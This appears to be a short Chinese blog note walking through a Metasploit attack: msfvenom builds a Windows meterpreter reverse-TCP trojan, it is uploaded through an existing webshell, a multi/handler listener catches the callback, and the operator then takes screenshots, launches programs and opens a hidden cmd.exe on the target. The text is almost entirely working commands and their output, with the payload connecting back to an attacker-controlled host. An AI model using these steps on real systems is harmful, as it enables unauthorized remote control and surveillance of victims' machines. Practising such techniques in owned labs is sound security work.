msf制作木马反弹shell提权

记录一下目标在有webshell权限下，利用kali的msf制作木马反弹shell过程。方便以后查看

启动kali中的msf

┌──(root💀SC)-[~]
└─# msfconsole

生成exe类型反弹型木马,LHOST=kali的ip

msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.173.4 LPORT=4444 -f exe -o shell.exe
[*] exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.173.4 LPORT=4444 -f exe -o shell.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
msf6 > 

将shell.exe木马通过冰蝎连接的webshell上传至目标

在kali的msf中开启监听4444端口

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.173.4
lhost => 192.168.173.4
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.173.4:4444 

执行上传至目标的木马

msf监听连接成功创建meterpreter会话

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.173.4:4444 
[*] Sending stage (175174 bytes) to 192.168.173.5
[*] Meterpreter session 1 opened (192.168.173.4:4444 -> 192.168.173.5:50498) at 2021-11-02 17:02:55 +0800

meterpreter > 

查看用户权限ip配置信息

meterpreter > getuid
Server username: DESKTOP-E4K5Q89\aaron
meterpreter > config
[-] Unknown command: config.
meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface  5

截取目标屏幕，运行记事本

meterpreter > screenshot
Screenshot saved to: /root/CyHNFpoL.jpeg
meterpreter > execute -f notepad.exe
Process 736 created.
meterpreter > 

运行目标主机上的cmd.exe程序，并以隐藏的方式直接交互到我们的meterpreter会话上

meterpreter > execute -H -i -f cmd.exe
Process 1872 created.
Channel 1 created.
Microsoft Windows [�汾 10.0.19043.1237]
(c) Microsoft Corporation����������Ȩ����

C:\Users\aaron\Desktop>

......